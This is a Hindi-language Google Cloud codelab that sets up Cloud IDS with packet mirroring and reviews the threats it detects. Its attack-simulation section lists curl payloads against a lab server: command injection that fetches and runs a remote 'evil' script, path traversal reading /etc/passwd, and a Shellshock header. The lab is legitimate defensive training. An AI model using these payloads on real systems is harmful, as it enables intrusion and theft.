Cloud IDS

1. परिचय

इस लैब में, क्लाउड आईडीएस का इस्तेमाल किया जा सकता है. यह अगली-पीढ़ी की टेक्नोलॉजी से मैलवेयर का पता लगाने वाली बेहतर सेवा है. यह मैलवेयर, स्पायवेयर, मैलवेयर, और कमांड ऐंड कंट्रोल अटैक के लिए खतरे का पता लगाती है. Cloud Console में, एक से ज़्यादा हमलों को सिम्युलेट किया जा सकता है और खतरे की जानकारी देखी जा सकती है.

आपको इनके बारे में जानकारी मिलेगी

  • क्लाउड आईडीएस एंडपॉइंट बनाने का तरीका
  • gcloud के निर्देशों की मदद से दो वर्चुअल मशीनें बनाने का तरीका
  • पैकेट मिररिंग की नीति बनाने का तरीका
  • वर्चुअल मशीन से अटैक ट्रैफ़िक को सिम्युलेट करने का तरीका
  • Cloud Console और क्लाउड लॉगिंग में खतरे की जानकारी कैसे देखें

आपको इन चीज़ों की ज़रूरत होगी

  • Linux के बुनियादी निर्देशों की जानकारी

2. क्लाउड आईडीएस के इस्तेमाल के उदाहरण

Cloud IDS, ग्राहकों को Google Cloud की नेटिव अगली पीढ़ी के मैलवेयर का पता लगाने वाली सेवा (आईडीएस) देता है. इससे उन्हें पीसीआई 11.4 जैसी सुरक्षा से जुड़ी बेहतर शर्तों को पूरा करने में मदद मिलती है. यह सेवा Palo Alto Networks की मदद से, खतरों से बचाने वाली टेक्नोलॉजी की मदद से मैलवेयर का पता लगाने की बेहतर सुविधा देती है. Google Cloud के बेहतरीन इन्फ़्रास्ट्रक्चर और Palo Alto Networks की मदद से, ग्राहकों को सुरक्षा से जुड़ी बेहतरीन सुविधाओं का बेहतर कॉम्बिनेशन मिलता है. इस सेवा में, पूरी तरह से मैनेज की गई, अच्छी परफ़ॉर्मेंस, और सबसे बेहतर सुरक्षा देने वाली सुविधाएं शामिल हैं.

जैसे-जैसे ग्राहक क्लाउड पर माइग्रेट करते हैं, उनके लिए सुरक्षा का सबसे ज़्यादा ध्यान रखा जाता है. वे चाहते हैं कि उनकी कंपनी की इमारत के लिए, सुरक्षा से जुड़े वही कंट्रोल हों जो उनके पास हैं. जैसे, क्लाउड में मैलवेयर गतिविधि की पहचान करने वाली सेवा (आईडीएस). वे किसी तीसरे पक्ष के सुरक्षा समाधान को डिप्लॉय करने और इंफ़्रास्ट्रक्चर को मैनेज करने या अपने हस्ताक्षर लाने के मुकाबले, डिप्लॉयमेंट में आसानी, बेहतर परफ़ॉर्मेंस, और ऑप्टिमाइज़ की गई लागत के लिए, क्लाउड नेटिव से मैनेज किए गए आईडीएस समाधान को ज़्यादा प्राथमिकता देते हैं. Google Cloud IDS एंड-टू-एंड और ऑटो-स्केलिंग मैनेज की गई आईडीएस सेवा देता है. इससे ग्राहकों को खतरों का विश्लेषण करने और उन्हें कम करने में अपना समय देने में मदद मिलती है. साथ ही, इन्फ़्रास्ट्रक्चर या खतरे के हस्ताक्षरों को मैनेज करने के लिए, समय और संसाधनों की बचत होती है.

Cloud IDS को बैंड से बाहर लागू किया जाता है और यह खतरों का पता लगाकर उन पर चेतावनी दे सकता है, लेकिन खतरों को रोक नहीं सकता. यह Google Cloud Packet Mirroring का इस्तेमाल करके, नेटवर्क ट्रैफ़िक की कॉपी बनाता है. इसके लिए, Palo Alto Network के खतरे का पता लगाने वाले इंजन का इस्तेमाल करके, ट्रैफ़िक का विश्लेषण किया जाता है.

3. कोडलैब टोपोलॉजी

5a276f399e1d31e2.png

पहला डायग्राम. इस लैब के लिए, क्लाउड आईडीएस डिप्लॉयमेंट के बारे में खास जानकारी देने वाला आर्किटेक्चर.

4. सेटअप और ज़रूरी शर्तें

अपने हिसाब से एनवायरमेंट सेटअप करना

  1. Google Cloud Console में साइन इन करें और नया प्रोजेक्ट बनाएं या किसी मौजूदा प्रोजेक्ट का फिर से इस्तेमाल करें. अगर आपके पास पहले से Gmail या Google Workspace खाता नहीं है, तो आपको नया खाता बनाना होगा.

96a9c957bc475304.png

b9a10ebdf5b5a448.png

a1e3c01a38fa61c2.png

  • प्रोजेक्ट का नाम, इस प्रोजेक्ट में हिस्सा लेने वाले लोगों का डिसप्ले नेम होता है. यह एक वर्ण स्ट्रिंग है, जिसका इस्तेमाल Google API नहीं करता. साथ ही, आप इसे किसी भी समय अपडेट कर सकते हैं.
  • प्रोजेक्ट आईडी, Google Cloud के सभी प्रोजेक्ट के लिए यूनीक होना चाहिए. साथ ही, आईडी को बदला नहीं जा सकता. सेट अप के बाद इसे बदला नहीं जा सकता. Cloud Console, एक यूनीक स्ट्रिंग अपने-आप जनरेट करता है; आम तौर पर, आपको उसके होने की कोई परवाह नहीं होती. ज़्यादातर कोडलैब में, आपको प्रोजेक्ट आईडी का रेफ़रंस देना पड़ता है और आम तौर पर इसकी पहचान PROJECT_ID के रूप में की जाती है. इसलिए, अगर आपको यह पसंद नहीं आता है, तो कोई भी कोड जनरेट करें. इसके अलावा, खुद का भी कोड बनाकर देखा जा सकता है कि वह उपलब्ध है या नहीं. फिर यह "फ़्रोज़न" होता है प्रोजेक्ट बनने के बाद.
  • तीसरी वैल्यू, प्रोजेक्ट नंबर है, जिसका इस्तेमाल कुछ एपीआई करते हैं. दस्तावेज़ में इन तीनों वैल्यू के बारे में ज़्यादा जानें.
  1. इसके बाद, आपको क्लाउड संसाधनों/एपीआई का इस्तेमाल करने के लिए, Cloud Console में बिलिंग की सुविधा चालू करनी होगी. इस कोडलैब का इस्तेमाल करने पर, आपको ज़्यादा पैसे नहीं चुकाने होंगे. संसाधनों को बंद करने के लिए, इस ट्यूटोरियल के अलावा किसी और तरीके से बिलिंग न करें. इसके लिए, "साफ़-सफ़ाई" का इस्तेमाल करें कोडलैब के आखिर में दिए गए निर्देश देखें. Google Cloud के नए उपयोगकर्ता, 300 डॉलर के मुफ़्त ट्रायल वाले प्रोग्राम में हिस्सा ले सकते हैं.

Cloud Shell शुरू करना

Google Cloud को आपके लैपटॉप से, कहीं से भी ऑपरेट किया जा सकता है. हालांकि, इस कोडलैब में Google Cloud Shell का इस्तेमाल किया जा रहा है. यह क्लाउड में चलने वाला कमांड लाइन एनवायरमेंट है.

GCP कंसोल में, सबसे ऊपर दाईं ओर मौजूद टूलबार पर क्लाउड शेल आइकॉन पर क्लिक करें:

bce75f34b2c53987.png

प्रावधान करने और एनवायरमेंट से कनेक्ट होने में कुछ ही समय लगेगा. उसके पूरा हो जाने पर, आपको कुछ ऐसा दिखाई देगा:

f6ef2b5f13479f3a.png

इस वर्चुअल मशीन में ऐसे सभी डेवलपमेंट टूल मौजूद हैं जिनकी आपको ज़रूरत पड़ेगी. यह पांच जीबी की स्थायी होम डायरेक्ट्री उपलब्ध कराता है और Google Cloud पर चलता है. यह नेटवर्क की परफ़ॉर्मेंस और पुष्टि करने की प्रक्रिया को बेहतर बनाता है. इस लैब में आपका सारा काम बस एक ब्राउज़र से किया जा सकता है.

5. शुरू करने से पहले

एपीआई चालू करें

Cloud Shell में, पक्का करें कि आपका प्रोजेक्ट आईडी सेट अप किया गया हो

gcloud config list project
gcloud config set project [YOUR-PROJECT-NAME]
export PROJECT_ID=$(gcloud config get-value project | sed '2d')

सभी ज़रूरी सेवाएं चालू करें

gcloud services enable compute.googleapis.com
gcloud services enable ids.googleapis.com
gcloud services enable logging.googleapis.com

6. VPC नेटवर्क बनाएं

VPC नेटवर्क

Cloud Shell से

gcloud compute networks create cloud-ids \
--subnet-mode=custom

सबनेट

Cloud Shell से

gcloud compute networks subnets create cloud-ids-useast1 \
--range=192.168.10.0/24 \
--network=cloud-ids \
--region=us-east1

निजी सेवा का ऐक्सेस

Cloud Shell से

gcloud compute addresses create cloud-ids-ips \
--global \
--purpose=VPC_PEERING \
--addresses=10.10.10.0 \
--prefix-length=24 \
--description="Cloud IDS Range" \
--network=cloud-ids

निजी सेवा कनेक्शन

Cloud Shell से

gcloud services vpc-peerings connect \
--service=servicenetworking.googleapis.com \
--ranges=cloud-ids-ips \
--network=cloud-ids \
--project=$PROJECT_ID

फ़ायरवॉल के नियम

आईएपी को अपने वीएम इंस्टेंस से कनेक्ट करने की अनुमति देने के लिए, फ़ायरवॉल का नियम बनाएं:

  • यह उन सभी वीएम इंस्टेंस पर लागू होता है जिन्हें आपको आईएपी का इस्तेमाल करके ऐक्सेस करना है.
  • आईपी रेंज 35.235.240.0/20 से, इन्ग्रेस डेटा ट्रैफ़िक की अनुमति देता है. इस रेंज में वे सभी आईपी पते शामिल होते हैं जिनका इस्तेमाल आईएपी, टीसीपी फ़ॉरवर्ड करने के लिए करता है.

Cloud Shell से

gcloud compute firewall-rules create allow-iap-proxy \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:22 \
--source-ranges=35.235.240.0/20

सर्वर को स्टैंडर्ड एचटीटीपी पोर्ट (टीसीपी 80) और आईसीएमपी प्रोटोकॉल की अनुमति देने के लिए:

  • नेटवर्क टैग "सर्वर" वाले संसाधनों पर लागू होता है
  • सभी सोर्स से इन्ग्रेस डेटा ट्रैफ़िक की अनुमति देता है

Cloud Shell से

gcloud compute firewall-rules create allow-http-icmp \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:80,icmp \
--source-ranges=0.0.0.0/0 \
--target-tags=server

Cloud NAT इंस्टेंस बनाएं

क्लाउड राऊटर

Cloud Shell से

gcloud compute routers create cr-cloud-ids-useast1 \
--region=us-east1 \
--network=cloud-ids

क्लाउड एनएटी

Cloud Shell से

gcloud compute routers nats create nat-cloud-ids-useast1 \
--router=cr-cloud-ids-useast1 \
--router-region=us-east1 \
--auto-allocate-nat-external-ips \
--nat-all-subnet-ip-ranges

7. क्लाउड आईडीएस एंडपॉइंट बनाएं

इस सेक्शन में, आप us-east1 में एक Cloud IDS एंडपॉइंट बनाते हैं, जिसकी गंभीरता जानकारी पर सेट होती है. आईडीएस एंडपॉइंट बनाने में करीब 20 मिनट लगते हैं.

आईडीएस एंडपॉइंट

Cloud Shell से

gcloud ids endpoints create cloud-ids-east1 \
--network=cloud-ids \
--zone=us-east1-b \
--severity=INFORMATIONAL \
--async

पुष्टि करें कि क्लाउड आईडीएस एंडपॉइंट शुरू हो गया है

gcloud ids endpoints list --project=$PROJECT_ID

आउटपुट -

ID: cloud-ids-east1
LOCATION: us-east1-b
SEVERITY: INFORMATIONAL
STATE: CREATING
NETWORK: cloud-ids
TRAFFIC_LOGS:

8. 2 वर्चुअल मशीन बनाएं

इस सेक्शन में, दो वर्चुअल मशीनें बनाई जाती हैं. पहला वेब सर्वर होगा जो क्लाउड आईडीएस के साथ काम करता है. दूसरी वर्चुअल मशीन, हमला करने वाले आपके ट्रैफ़िक का सोर्स होगी.

वर्चुअल मशीन 1 (सर्वर)

Cloud Shell से

gcloud compute instances create server \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.20 \
--metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \
--tags=server \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB

वर्चुअल मशीन 2 (क्लाइंट)

Cloud Shell से

gcloud compute instances create attacker \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.10 \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB 

9. सर्वर तैयार किया जा रहा है

इस टास्क में, आपको अपने सर्वर की पुष्टि करनी होगी. साथ ही, अपने क्लाइंट को कोई सुरक्षित मैलवेयर पेलोड उपलब्ध कराना होगा.

Cloud Shell के ज़रिए वीएम में एसएसएच

gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap

पुष्टि करें कि वेब सेवा चालू है

sudo systemctl status nginx

आउटपुट - पुष्टि करें कि सक्रिय है और चल रहा है

● nginx.service - A high performance web server and a reverse proxy server
   Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
   Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
     Docs: man:nginx(8)
 Main PID: 1347 (nginx)
    Tasks: 3 (limit: 4665)
   Memory: 4.5M
   CGroup: /system.slice/nginx.service
           ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
           ├─1348 nginx: worker process
           └─1349 nginx: worker process

May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.

डायरेक्ट्री को वेब सेवा में बदलें

cd /var/www/html/

वेबसर्वर पर नुकसान न पहुंचाने वाली मैलवेयर फ़ाइल बनाना

sudo touch eicar.file

कॉन्टेंट चिपकाएं

echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file

CloudShell पर वापस जाएं

exit

क्लाउड आईडीएस पैकेट के डुप्लीकेट वर्शन बनाने की नीति बनाना

आईडीएस एंडपॉइंट फ़ॉरवर्ड करने के नियम की पहचान करें और पुष्टि करें कि आईडीएस एंडपॉइंट स्थिति "READY" है.

gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b 

आउटपुट का उदाहरण - "endpoint फ़ॉरवर्डिंग नियम" से वैल्यू कॉपी करें

user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
createTime: '2021-07-01T21:03:56.099839751Z'
endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca
endpointIp: 172.16.30.43
name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1
network: projects/ids-project/global/networks/cloud-ids
severity: INFORMATIONAL
state: READY
updateTime: '2021-07-01T21:21:32.744309107Z'

आईडीएस एंडपॉइंट फ़ॉरवर्ड करने के नियम को वैरिएबल में सेव करें.

export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)")
echo $FORWARDING_RULE

पैकेट मिररिंग की नीति

Cloud Shell से

gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \
--region=us-east1 \
--collector-ilb=$FORWARDING_RULE \
--network=cloud-ids \
--mirrored-subnets=cloud-ids-useast1

पैकेट मिररिंग की नीति के बनने की पुष्टि करना

Cloud Shell से

gcloud compute packet-mirrorings list

आउटपुट

user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list
NAME                        REGION       NETWORK    ENABLE
cloud-ids-packet-mirroring  us-east1     cloud-ids  TRUE

10. हमले के ट्रैफ़िक को सिम्युलेट करें

हमलावर वर्चुअल मशीन (क्लाइंट) में एसएसएच

Cloud Shell से

gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap

नुकसान पहुंचाने वाले ट्रैफ़िक को सिम्युलेट करने के लिए, नीचे दिए गए कर्ल अनुरोध चलाएं.

curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical

CloudShell पर वापस जाने के लिए, वर्चुअल मशीन (वीएम) से बाहर निकलें

exit

11. क्लाउड आईडीएस से मिले खतरों की समीक्षा करें

क्लाउड आईडीएस डैशबोर्ड पर जाएं

नेविगेशन मेनू > नेटवर्क की सुरक्षा > क्लाउड आईडीएस

37583419aa604aa8.png

'खतरे' टैब पर जाएं.

b7d934f409b4e2b.png

जैसा कि आपको दिख रहा है, क्लाउड आईडीएस ने हमले के ट्रैफ़िक की अलग-अलग प्रोफ़ाइल को कैप्चर किया और हर खतरे के बारे में जानकारी दी. इसके लिए, आपको "रीफ़्रेश करें" पर क्लिक करना पड़ सकता है बटन का उपयोग करें. अब हम बारीकी से इसकी जांच करेंगे और खतरे की जानकारी देंगे.

"बैश रिमोट कोड पर काम करने से जुड़े जोखिम की आशंका" का पता लगाएं खतरों की जानकारी देखें और दाईं ओर तीन बिंदुओं पर क्लिक करें. इसके बाद "खतरे की जानकारी देखें" को चुनें

b122b30dd8d43d9b.png

ee1b201a12db7ef7.png

अब हम इस घटना की जानकारी क्लाउड लॉगिंग में देखेंगे. लेफ़्ट पॉइंटिंग ऐरो पर क्लिक करके, खतरे वाले पेज पर वापस जाएं .

दाईं ओर दिए गए तीन बिंदुओं पर क्लिक करें और "खतरे के लॉग देखें" को चुनें

b122b30dd8d43d9b.png

ff0d5a0d652ddd83.png

यही जानकारी क्लाउड लॉगिंग को दी जाती है. इसकी मदद से, Cloud Storage, Chronicle या किसी भी SIEM/SOAR लॉग को लॉग भेजा जा सकता है. चेतावनी के आधार पर सुधार की कार्रवाई करने के लिए, कस्टम वर्कफ़्लो भी बनाए जा सकते हैं. जैसे, एक ऐसा क्लाउड फ़ंक्शन बनाना जो किसी सूचना पर ट्रिगर होता हो और आईपी पते को ब्लॉक करने के लिए फ़ायरवॉल नियम बनाता/अपडेट करता हो या Cloud आर्मर की नीति बनाता/अपडेट करता है.

12. क्लीनअप का तरीका

वीएम इंस्टेंस से बाहर निकलें (सभी टैब)

exit

किसी एक Cloud Shell टर्मिनल से लैब के कॉम्पोनेंट मिटाएं

gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet

gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet

gcloud compute instances delete server --zone=us-east1-b --quiet

gcloud compute instances delete attacker --zone=us-east1-b --quiet

gcloud compute firewall-rules delete allow-iap-proxy --quiet

gcloud compute firewall-rules delete allow-http-icmp --quiet

gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet

gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet

gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet

gcloud compute addresses delete cloud-ids-ips --global --quiet

gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet

gcloud compute networks delete cloud-ids --quiet

13. बधाई हो!

कोडलैब पूरा करने के लिए बधाई.

इसमें हमने इन विषयों के बारे में बताया

  • क्लाउड आईडीएस के इस्तेमाल के उदाहरण
  • नेटवर्क से जुड़ी ज़रूरी शर्तें
  • काम करने वाले एपीआई
  • क्लाउड आईडीएस एंडपॉइंट बनाया गया
  • दो वीएम डिप्लॉय किए गए
  • कुछ "हमले" जनरेट हुए क्लाइंट से मिला ट्रैफ़िक
  • आईडीएस ने ऐसे खतरों का पता लगाया है जिनकी पुष्टि हो चुकी है
  • खतरे की जानकारी और लॉग की समीक्षा करना